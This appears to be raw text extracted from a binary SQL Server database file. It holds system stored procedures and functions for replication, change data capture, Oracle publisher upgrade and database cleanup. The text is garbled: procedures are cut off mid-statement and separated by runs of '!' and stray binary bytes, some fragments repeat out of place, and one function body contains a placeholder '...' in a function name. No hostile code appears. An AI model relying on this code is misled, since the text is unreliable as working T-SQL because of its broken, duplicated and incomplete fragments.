                	from msdb.dbo.MSdistributiondbs 
                	where HAS_DBACCESS(name) = 1
            FOR READ ONLY
            open hCForEachDb
            fetch hCForEachDb into @dbname
            /* Loop for each database */
            while (@@fetch_status >= 0) 
            begin
                select @proc = quotename(@dbname) + '.sys.sp_MSrepl_check_server'
                exec @retcode = @proc
                    @srvname = @srvname,
                    @check_distdb = 1
                if @retcode <> 0 or @@error <> 0
                    return (1)
                fetch hCForEachDb into @dbname
            end /* while FETCH_SUCCESS */
        end
    end
    else
    begin
        if object_id('MSsubscriber_info') is not null
        begin
            declare @publisher sysname
            select @publisher =  publisher from MSsubscriber_info sub
                where UPPER(subscriber) = UPPER(@srvname)
            if @publisher is not null
            begin
                raiserror(20584, 16, -1, @srvname, @publisher) 
                return (1)
            end
        end
    end

-- and metadata changes are processed by a separate pass over all databases in sp_vupgrade_mergetables.
    --
    -- Upgrade all databases except system and distribution db's
    -- These db's cannot be publisher databases
    DECLARE #DC CURSOR LOCAL FAST_FORWARD
    FOR
    SELECT  distinct N'[' + replace(name, N']', N']]') + N']',
            has_dbaccess(name)
    FROM    master.dbo.sysdatabases 
    -- where ((category & 4) = 4) or ((category & 1) = 1)
    WHERE   name NOT IN
                (
                    N'master' COLLATE DATABASE_DEFAULT,
                    N'tempdb' COLLATE DATABASE_DEFAULT,
                    N'msdb'   COLLATE DATABASE_DEFAULT,
                    N'model'   COLLATE DATABASE_DEFAULT
                )
			AND   sys.fn_MSrepl_isdistdb (name) = 0
			and databasepropertyex(name, 'Updateability') = 'READ_WRITE'

    FOR READ ONLY
    
    open #DC
    fetch #DC into @publisher_db, @has_dbaccess
    while (@@fetch_status <> -1)
    begin
        -- upgrade repl tables in publishing dbs if needed
        -- skip any database in an offline state and write warning to upgrade log
        if ( @has_dbaccess = 1 )
        begin
            raiserror( 21375, 10, 1, @publisher_db) with nowait

            select @proc_name = @publisher_db + '.sys.sp_refreshreplsysservers'
            exec @retcode = @proc_name @mode = 1 -- mode 1 means don't error out if sysreplservers contains a row pointing to remote server
            if @retcode<>0 or @@ERROR<>0
            begin
                return (1)
            end

            select @proc_name = @publisher_db + '.sys.sp_vupgrade_publisherdb'
            exec @retcode = @proc_name 
                @ver_old = @ver_old,
                @ver_retention = @ver_retention
            if @retcode<>0 or @@ERROR<>0
            begin
                return (1)
            end

        end
        else
        begin
            raiserror( 21376, 10, 1, @publisher_db) with nowait
        end

        fetch #DC into @publisher_db, @has_dbaccess

    end
    close #DC
    deallocate #DC

    /*
     * We need to mark sp_MScleanupmergepublisher as a startup procedure
     * if there are any databases enabled for merge replication.
     */
    if exists (select * from master.dbo.sysdatabases where (category & 4) <> 0)
    begin
        exec ('use master
               exec sys.sp_procoption ''sp_MScleanupmergepublisher'', ''startup'', ''true''')
    end

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'`%
<`	1}0 +8create procedure sys.sp_MSsub_cleanup_orphans AS

    /*
    ** Security Check
    */
    -- Internal sp, not granted to public.
    -- Ignore all errrors

    if object_id('MSreplication_objects') is not NULL
    begin
        delete MSreplication_objects where not exists (select * from sys.objects
            where name = object_name)
        if not exists (select * from MSreplication_objects)
            drop table MSreplication_objects
    end
            
    if object_id('MSsub_identity_range') is not NULL
    begin
        delete MSsub_identity_range where not exists (select * from sys.objects
            where object_id = objid)
        if not exists (select * from MSsub_identity_range)
            drop table MSsub_identity_range
    end
0£@ N
8

--
-- Name:    
--          sp_ORAremotequery
--          
-- Description: 
--          Execute remote Oracle query via OPENQUERY.  Can use an optional temp table.
--
-- Inputs:
--		@Server				== Name of linked server
--		@SelectColumnList	== Comma seperated list of columns to select from
--		@InsTable			== An optional table can be inserted into
--		@InsColumnList		== Comma separated list of columns to insert into (required if @InsTable is not null)
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure + optional temp table
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAremotequery
(
	@Server				varchar(128),
	@SelectColumnList	nvarchar(2000) = NULL,
	@InsTable			sysname = NULL,
	@InsColumnList		nvarchar(2000) = NULL
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @dbname		sysname

	SET NOCOUNT ON
	SET ANSI_WARNINGS ON
	
	SELECT @retcode = 0
	SELECT @dbname = db_name()

	-- Verify publisher linked server login exists
	EXEC @retcode = sys.sp_IHCheckPublisherLogin @publisher = @Server OUTPUT
	IF @retcode != 0
	BEGIN
		RETURN (@retcode)
	END

	-- Validate #hquery table exists and no invalid entry
	IF object_id('tempdb..#hquery', 'U') IS NULL
	OR EXISTS
	(
		SELECT	*
		FROM	#hquery
		WHERE	seq in (0, 1)
	)
	BEGIN
        RAISERROR(8624, 16, -1)
		RETURN (1)
	END
	
	IF (@SelectColumnList is NOT NULL and @InsColumnList is NULL) or (@InsColumnList is NOT NULL and @SelectColumnList is NULL)
	BEGIN
		RAISERROR(21619, 16, -1)
		RETURN (1)
	END

	-- Prepare quotes for OPENQUERY
	UPDATE #hquery
	SET cmd = REPLACE(cmd, '''', '''''')

	-- Enable identity insert to inject wrapper queries
	SET IDENTITY_INSERT #hquery ON

	IF @InsTable is NULL
	BEGIN
		INSERT INTO #hquery (seq, cmd)
		VALUES (1, N'SELECT * FROM OPENQUERY(' + QUOTENAME(@Server) + ',''')
	END
	ELSE
	BEGIN
		IF @InsColumnList is NULL
		BEGIN
			INSERT INTO #hquery (seq, cmd)
			VALUES (1, N'INSERT INTO ' + QUOTENAME(@InsTable)
						+ ' SELECT * FROM OPENQUERY (' + QUOTENAME(@Server) + ',''')
		END
		ELSE
		BEGIN
			INSERT INTO #hquery (seq, cmd)
			VALUES (1, N'INSERT INTO '+ QUOTENAME(@InsTable)
							+ ' (' + @InsColumnList + ') SELECT ' + @SelectColumnList + ' FROM OPENQUERY('
							+ QUOTENAME(@Server) + ',''')
		END
	END

	-- Close open query
	SET IDENTITY_INSERT #hquery OFF
	INSERT INTO #hquery (cmd) VALUES (N''')')

	-- Execute query
	EXEC @retcode = sys.sp_IHexecresultset N'SELECT cmd FROM #hquery ORDER BY seq', @dbname

	RETURN @retcode
END
0Ʋ 8
create function [sys].[fn_cdc_net_changes_range_error]()				
returns bit
as
begin
	if exists
	(
		select * from cdc.[fn_cdc_get_net_changes_ ... ]()
		)
		return 0
	return 0	
end
0j@ D87)h(
0s|@ 8
create proc sys.sp_MSforeachtable
	@command1 nvarchar(2000), @replacechar nchar(1) = N'?', @command2 nvarchar(2000) = null,
   @command3 nvarchar(2000) = null, @whereand nvarchar(2000) = null,
	@precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null
as
	/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its own result set */
	/* @precommand and @postcommand may be used to force a single result set via a temp table. */

	/* Preprocessor won't replace within quotes so have to use str(). */
	declare @mscat nvarchar(12)
	select @mscat = ltrim(str(convert(int, 0x0002)))

	if (@precommand is not null)
		exec(@precommand)

	/* Create the select */
   exec(N'declare hCForEachTable cursor global for select ''['' + REPLACE(schema_name(syso.schema_id), N'']'', N'']]'') + '']'' + ''.'' + ''['' + REPLACE(object_name(o.id), N'']'', N'']]'') + '']'' from dbo.sysobjects o join sys.all_objects syso on o.id = syso.object_id '
         + N' where OBJECTPROPERTY(o.id, N''IsUserTable'') = 1 ' + N' and o.category & ' + @mscat + N' = 0 '
         + @whereand)
	declare @retval int
	select @retval = @@error
	if (@retval = 0)
		exec @retval = sys.sp_MSforeach_worker @command1, @replacechar, @command2, @command3, 0

	if (@retval = 0 and @postcommand is not null)
		exec(@postcommand)

	return @retval
VALUES (1, N'INSERT INTO '+ QUOTENAME(@InsTable)
							+ ' (' + @InsColumnList + ') SELECT ' + @SelectColumnList + ' FROM OPENQUERY('
							+ QUOTENAME(@Server) + ',''')
		END
	END

	-- Close open query
	SET IDENTITY_INSERT #hquery OFF
	INSERT INTO #hquery (cmd) VALUES (N''')')

	-- Execute query
	EXEC @retcode = sys.sp_IHexecresultset N'SELECT cmd FROM #hquery ORDER BY seq', @dbname

	RETURN @retcode
END
0GU@ /8--
-- Name: sp_hadr_validate_replica_host_as_publisher
--
-- Descriptions: Validation checks are performed to verify that the
--               contacted SQL Server instance is a suitable publisher
--				 for the named database. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success, 1 on failure; on failure errors are raised
--
-- Security: private.
--
create procedure sys.sp_hadr_validate_replica_host_as_publisher
(
	@publisher_linked_server sysname,
    @original_publisher sysname,
    @publisher_db sysname,
	@replica_server_name sysname
)
as
begin

	set nocount on

	declare 
        @retcode int,
		@retval int,
		@drop_linked_server bit

	set @retval = 0;
	set @drop_linked_server = 0
		
    -- Verify that the server is configured for replication
    --
	exec @retcode = sys.sp_hadr_verify_configured_for_repl @replica_server_name, @publisher_db,
		@publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end		
    
    -- Verify that the original publisher and the server both share the same
    -- distributor 
    --
	exec @retcode = sys.sp_hadr_verify_publisher_at_distributor @replica_server_name, @publisher_db,
		@publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end		
        
    -- Verify that the server is a replication publisher
    --
    exec @retcode = sys.sp_hadr_verify_replication_publisher @replica_server_name, @publisher_db,
        @publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end	
                
    -- Verify that the published database subscribers of the original publisher are remote
    -- servers of the server
    --
    exec @retcode = sys.sp_hadr_verify_subscribers_at_publisher @original_publisher, @replica_server_name, 
        @publisher_db, @publisher_linked_server, @drop_linked_server
	if (@retcode <> 0)
	begin
		set @retval = @retcode
	end	
 
    return @retval
end
0Ʋ 8
create function [sys].[fn_cdc_net_changes_range_error]()				
returns bit
as
begin
	if exists
	(
		select * from cdc.[fn_cdc_get_net_changes_ ... ]()
		)
		return 0
	return 0	
end
0j@ D87)h(
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`e<oNN0r 8-------------------------------------------------------------------------------
-- Name: sys.fn_PhysLocFormatter 
--
-- Description:
--	Formats the output of %%physloc%% virtual column
--
-- Notes:
-------------------------------------------------------------------------------
create function sys.fn_PhysLocFormatter (@physical_locator binary (8))
returns varchar (128)
as
begin

	declare @page_id	binary (4)
	declare @file_id	binary (2)
	declare @slot_id	binary (2)

	-- Page ID is the first four bytes, then 2 bytes of page ID, then 2 bytes of slot
	--
	select @page_id = convert (binary (4), reverse (substring (@physical_locator, 1, 4)))
	select @file_id = convert (binary (2), reverse (substring (@physical_locator, 5, 2)))
	select @slot_id = convert (binary (2), reverse (substring (@physical_locator, 7, 2)))
	
	return '(' + cast (cast (@file_id as int) as varchar) + ':' + 
				 cast (cast (@page_id as int) as varchar) + ':' + 
				 cast (cast (@slot_id as int) as varchar) + ')'
end
0@ 8CREATE VIEW sys.dm_logpool_hashentries AS
	SELECT * 
	FROM OpenRowSet(TABLE DM_LOGPOOL_HASHENTRIES)
0ܞ D826h0_ '8
create procedure sys.sp_MScreate_article_repl_view
    @pubid uniqueidentifier,
    @artid uniqueidentifier 
as
begin
    
    declare @artid_str nvarchar(50)
            , @pubid_str nvarchar(50)
            , @retcode int
            , @repl_view_name nvarchar(260)
            , @repl_view_id int
            , @qualified_table_name nvarchar(270)
            , @cmd nvarchar(max)
            , @source_objid int
            , @unqual_sourcename nvarchar(540)
        
    exec @retcode=sys.sp_MSguidtostr @artid, @artid_str output
    if @retcode<>0 or @@ERROR<>0 return (1)

    exec @retcode=sys.sp_MSguidtostr @pubid, @pubid_str output
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    select @repl_view_name = 'dbo.MSmerge_repl_view_' + @pubid_str + '_' + @artid_str

    if object_id(@repl_view_name) is not null
    begin
        exec ('drop view ' + @repl_view_name)
        if @@ERROR<>0 return (1)
    end

    select @qualified_table_name = 
        (select quotename(SCHEMA_NAME(o.schema_id)) from sys.objects o where o.object_id = v.objid) + '.' +
        quotename(object_name(v.objid)),
        @source_objid = v.objid
    from dbo.sysmergepartitioninfoview v
    where v.artid = @artid
    and v.pubid = @pubid

    -- the following will be true for a light weight subscription
    if @qualified_table_name is NULL
        return 0

    select @unqual_sourcename = sys.fn_replreplacesinglequote(@qualified_table_name)
    
    select @cmd = 'create view ' + @repl_view_name + ' as select * from ' + @qualified_table_name +
            ' where ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 
                                                    or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename+''', ''OBJECT'', ''DELETE''))=1)'
        
    exec (@cmd)
    if @@ERROR<>0 
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    exec ('grant select on ' + @repl_view_name + ' to public')
    if @@ERROR<>0 
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    execute dbo.sp_MS_marksystemobject @repl_view_name
    if @@ERROR<>0
    begin
        select @retcode = 1
        goto FAILURE
    end

    update dbo.sysmergepartitioninfo set repl_view_id = object_id (@repl_view_name)
    where pubid = @pubid and artid = @artid

    select @retcode = 0
FAILURE:
    
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H}`<?_A0# _8
create procedure sys.sp_vupgrade_heterogeneous_publishers 
as
begin

    set nocount on

    -- Upgrade all defined Oracle publishers
    declare @publisher sysname
    declare @login sysname
    declare @password nvarchar(524)
    declare @security_mode int
    declare @retcode int
    declare @versionsmatch int
    declare @packageversion nvarchar(256)
    declare @sa_login sysname
    declare @state int
    declare @msg nvarchar(max)

    select @sa_login = SUSER_SNAME(0x01)

    -- Return success if msdb does not exist
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases
        WHERE name = 'msdb' collate database_default)
    BEGIN
        RETURN(0)
    END

    -- Return success if msdb..MSdistpublishers does not exist
    IF NOT EXISTS (SELECT * FROM msdb..sysobjects
	WHERE name = 'MSdistpublishers' collate database_default)
    BEGIN
        RETURN(0)
    END
   
    declare #hc_publisher CURSOR LOCAL FORWARD_ONLY for 
        
        SELECT name, login, password, security_mode
        FROM msdb..MSdistpublishers
        WHERE publisher_type LIKE 'ORACLE%'

    open #hc_publisher
    fetch #hc_publisher into @publisher, @login, @password, @security_mode
    while (@@fetch_status != -1)
    begin 

        select @publisher = upper(@publisher)

        -- The linked server should always exist.
        if not EXISTS
        (
            select *
            from master.dbo.sysservers
            where UPPER(srvname collate database_default) = @publisher
        )
        begin
            goto NEXTPUB
        end

        --Mark system link
        exec @retcode = sys.sp_serveroption @publisher, 'system', 'true'
        if @@error <> 0 OR @retcode <> 0
        begin
            goto NEXTPUB
        end

        -- Drop 'sa' linked servermapping if it exists
        exec  @retcode = sys.sp_droplinkedsrvlogin
            @rmtsrvname = @publisher,
            @locallogin = @sa_login

        -- Drop default linked server mapping if it exists
        exec  @retcode = sys.sp_droplinkedsrvlogin
            @rmtsrvname = @publisher,
            @locallogin = NULL

        -- NOTE:  There is no convenient way to get rid of other explicit mappings
        --        that may exist.  Their presence, however, should not be a problem.
        --        When using the linked server we will always execute as 'sa'
        --        and the linked server can only be accessed through the
        --        replication stored procedures in the resource database.

        exec @retcode = sys.sp_MSrepldecrypt @password output
        if @@error <> 0 OR @retcode <> 0
        begin
            goto NEXTPUB
        end

        -- Map sa to use provided remote login/password
        -- All linked server queries must be done as sa (via execute as owner)
        exec  @retcode = sys.sp_addlinkedsrvlogin
            @rmtsrvname		= @publisher,
            @useself		= N'false',
            @locallogin		= @sa_login,
            @rmtuser		= @login,
            @rmtpassword	= @password
        if @@error <> 0 OR @retcode <> 0 
        begin
            goto NEXTPUB
        end
 
        -- Map all other users to use invalid login/password
        exec @retcode = sp_addlinkedsrvlogin
            @rmtsrvname		= @publisher,
            @useself		= 'false',
            @locallogin		= null,
            @rmtuser		= null,
            @rmtpassword	= null
        if @@error <> 0 OR @retcode <> 0 
        begin
            goto NEXTPUB
        end

        -- Determine whether the Oracle publisher requires refreshing
        begin try
            exec @retcode = sys.sp_checkOraclepackageversion @publisher = @publisher
				, @versionsmatch = @versionsmatch OUTPUT
				, @packageversion = @packageversion OUTPUT
        end try
        begin catch
            select @retcode = 1
        end catch

        if @retcode <> 1 
        begin
			-- If @versionsmatch = 2 the package code should be refreshed, but meta data
			-- tables should only be altered as necessary, preserving existing table entries.
			-- 
			-- NOTE:  The variable @packageversion contains the value of @@version
			--        for SQL Server 2005 installs and SQL Server 2008 CTP versions.
			--        For SQL Server 2008 RTM and greater, @packageversion is constructed
			--        as follows:
			-- 
			--		     SET @packageversion = N'Microsoft SQL Server ' + 
			--               convert(nvarchar(100),SERVERPROPERTY('ProductLevel')) +
			--		         + N' Version:' + convert(nvarchar(100),SERVERPROPERTY('ProductVersion')) 
			--
			--        Extract information from @packageversion to determine specific
			--        information about the Oracle install, if this is needed to apply
			--        DDL changes to meta data tables, or if Oracle triggers need to be
			--        modified. It is important to insure, to the extent possible, that
			--        entries in the meta data tables are preserved during upgrade.
			-- 
			if @versionsmatch = 2
			begin
				-- Refresh the Oracle package code only, leaving meta data tables
				-- and triggers intact. No DDL changes are currently required
				-- to upgrade an Oracle install. 
				begin try
					EXEC @retcode = sys.sp_ORAloadscript	@publisher		= @publisher,
															@script			= N'instorcl',
															@security_mode	= @security_mode,
															@login			= @login,
															@password		= @password
		
					-- Force a recompile of the defined triggers  
					EXEC @retcode = sys.sp_ORAcompiletriggers	@publisher		= @publisher

					-- Set Oracle package version to current SQL Server version
					exec @retcode = sys.sp_setOraclepackageversion @publisher = @publisher

				end try

				begin catch
					select @state = ERROR_STATE(), @msg = ERROR_MESSAGE()
					raiserror(@msg, 10, @state)

					select @retcode = 0
				end catch

			end
			else if @versionsmatch = 0
			begin
				-- Refresh all of the Oracle side meta data, ignoring errors.
				-- Failures during refresh will be logged and the refresh for specific
				-- publishers can be repeated explicitly after the upgrade process.
				-- NOTE:  A failure to complete the refresh of the Oracle package code and publication 
				--        meta data will leave the Oracle package without a valid version stamp. 
				begin try
					exec @retcode = sys.sp_refresh_heterogeneous_publisher @publisher = @publisher
			
					-- Force a recompile of the defined triggers  
					EXEC @retcode = sys.sp_ORAcompiletriggers	@publisher		= @publisher
				
					-- Set Oracle package version to current SQL Server version
					exec @retcode = sys.sp_setOraclepackageversion @publisher = @publisher

				end try

				begin catch
					select @state = ERROR_STATE(), @msg = ERROR_MESSAGE()
					raiserror(@msg, 10, @state)

					select @retcode = 0
				end catch
			end
        
		end	

NEXTPUB:

        -- fetch next publisher
        fetch #hc_publisher into @publisher, @login, @password, @security_mode

    end -- while cursor

    close #hc_publisher
    deallocate #hc_publisher

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	ޱ(0{
,@ o8
create proc sys.sp_clean_db_free_space (@dbname sysname, @cleaning_delay int = 0)
as
begin
	SET NOCOUNT ON
	declare @quoted_dbname nvarchar(258)
	set @quoted_dbname=QUOTENAME(@dbname)
	--
	-- Parameter check
	-- @dbname
	--
	if (db_id(@dbname) is null)
	begin
		RAISERROR(15010, 16, -1, @quoted_dbname)
		return (1)
	end

	--
	-- security check
	-- only db_owner can execute this
	--
	declare @check nvarchar(1024)
	set @check = 'USE ' + @quoted_dbname +
    'if (is_member (''db_owner'') != 1) 
	begin
		raiserror(14260, 16, -1)
    end'
	exec (@check)
	if @@error =14260
	begin
		return (1)
	end

	create table #cleanfiles (fileid int)
	declare @sql as nvarchar(1024)
	set @sql = 'insert #cleanfiles (fileid) select file_id from ' + @quoted_dbname + '.sys.database_files where type = 0'
	exec (@sql)

	declare @file int
	set @file = 1
	while @file is not null
	begin
		exec sp_clean_db_file_free_space @dbname, @file, @cleaning_delay

		select @file = min(fileid) from #cleanfiles where fileid > @file
	end

	drop table #cleanfiles

	return (0)
end
01 D89&h"!>0D2 8create function sys.fn_MSorbitmaps (@bm1 varbinary(128), @bm2 varbinary(128))
	returns varbinary(128)
as
begin

	declare @bm3 varbinary(128)
	exec sys.xp_ORbitmap @bm1,@bm2,@bm3 output
	return @bm3
	
end
  -- raiserror('sp_vupgrade_syscol_status', 0,1) with nowait

    -- cursor through table based articles
    declare #hCArt cursor local FAST_FORWARD for 
        select artid, objid from sysarticles where type & 1 = 1
    open #hCArt
    fetch #hCArt into @artid, @src_objid
    while (@@fetch_status <> -1)
    begin
        -- publish the replicated columns for each article
        exec sys.sp_MSarticlecol @artid = @artid, @colid = NULL, @type = 'publish', @operation = 'add'
        --now set pk bits for base column of PK or computed PK columns so SE always log the off-rows
        exec sys.sp_MSSetLogForRepl @tabid = @src_objid
        -- fetch next article
        fetch #hCArt into @artid, @src_objid
    end
    close #hCArt
    deallocate #hCArt
end
0YF@ \8Ysh>8^|08 ^8create FUNCTION sys.fn_MStran_unique 
(	@objid int
	,@uname nvarchar(512)
)
returns nvarchar(max)
as
begin
declare @col_list_key nvarchar(max)
			,@colname nvarchar(1024)
			,@definition nvarchar(max)
			,@index_id int

select	@col_list_key = N''

--retrieve unique constraint column list 
declare #col_cur cursor LOCAL FAST_FORWARD for 	
	select quotename (c.name), i.index_id
	from 
		sys.key_constraints f join sys.index_columns i on f.unique_index_id = i.index_id and f.parent_object_id = i.object_id
		join sys.columns c on c.object_id = i.object_id and c.column_id = i.column_id
		join sys.indexes id on id.object_id = @objid and id.index_id = i.index_id
	where f.parent_object_id = @objid and f.type = 'UQ' collate database_default
			and quotename(f.name) = @uname order by i.index_column_id 
open #col_cur
fetch #col_cur into @colname, @index_id
while(@@fetch_status < > -1)
begin
	select @col_list_key = @col_list_key + case len(@col_list_key) when 0 then N'' else N', ' end + @colname 
	fetch #col_cur into @colname, @index_id
end
close #col_cur
deallocate #col_cur

--build unique key definition 
set @definition = N'CONSTRAINT ' + @uname + N' UNIQUE ' + 
					case @index_id when 1 then N'CLUSTERED' else N'NONCLUSTERED' end + 
					N' (' + @col_list_key + N')' 

RETURN (@definition)
end
0n= 8create procedure [sys].[sp_cdc_cleanup_change_tables]
(
	@threshold			bigint,
	@capture_instance	sysname
)
as
begin
    set nocount on
	
	declare @change_table nvarchar(1000)
		,@stmt nvarchar(max)
		,@retcode int
		,@raised_error int
		,@raised_message nvarchar(4000)
		,@db_name sysname
		,@delete_count bigint
		,@action nvarchar(1000)
		,@instance_name sysname
		,@low_water_mark binary(10)
		,@job_threshold bigint
		,@retention bigint
		
	set @db_name = db_name()
	set @delete_count = 0	

    -- Determine whether all tables are to be cleaned up, or only
    -- those associated with a single capture instance
	declare #hchange_table cursor local fast_forward
	for
		select capture_instance, start_lsn
		from [cdc].[change_tables]
		where (@capture_instance is null) or (capture_instance = @capture_instance)
		
    open #hchange_table
    
    if (@@error != 0)
	begin
		return 1
	end	
  
    fetch #hchange_table into @instance_name, @low_water_mark
    
    set @change_table = N'[cdc].' + 
		quotename(@instance_name + N'_CT')
  
    while (@@fetch_status<>-1)
    begin
    
		BEGIN TRY
		
			select @raised_error = 0, @delete_count = 1
	
			while (@low_water_mark is not null) and (@delete_count > 0) 
			begin
	
				-- Delete up to @threshold qualifying rows while 
				-- the number of deleted rows is positive
				set @stmt = N'delete top( @p1 ) ' + 
					N' from ' + @change_table +
					N' where __$start_lsn < @p2 '
				exec sp_executesql @stmt = @stmt
					,@params = N'@p1 bigint, @p2 binary(10)'
					,@p1 = @threshold
					,@p2 = @low_water_mark
			
				set @delete_count = @@rowcount
					
			end
			
		END TRY
		
		BEGIN CATCH
		
			-- This is a best effort attempt to delete entries
			set @raised_error = ERROR_NUMBER()
			set @raised_message = ERROR_MESSAGE()
			
		END CATCH
		
		-- If an error was raised, return an informational message
		-- and keep going.
		if (@raised_error <> 0)
		begin
			raiserror(22852, 10, -1, @db_name, @stmt, @raised_error, @raised_message)
		end	

        fetch #hchange_table into @instance_name, @low_water_mark
        set @change_table = N'[cdc].' + 
			quotename(@instance_name + N'_CT')

    end
    
    close #hchange_table
    deallocate #hchange_table
    
    select @raised_error = 0, @delete_count = 1
    
	-- Delete all entres in [cdc].[lsn_time_mapping] with @start_lsn less
	-- than the smallest current low water mark of the capture instances.
	BEGIN TRY
	
		set @action = N'select @low_water_mark = min(start_lsn) [cdc].[change_tables]'
		select @low_water_mark = min(start_lsn) from [cdc].[change_tables]
		
		-- If there are no defined capture instances, the value returned for @low_water_mark
		-- is null. In this case, compute a low water mark based upon database retention time.
		if (@low_water_mark is null)
		begin
			-- Determine the database retention time
			exec @retcode = sp_cdc_get_cleanup_retention @retention output, @job_threshold output
			if @retcode <> 0 or @@error <> 0
				return 1

			-- Compute a new low water mark based upon the database retention time
			set @low_water_mark = [sys].[fn_cdc_compute_low_water_mark](@retention)
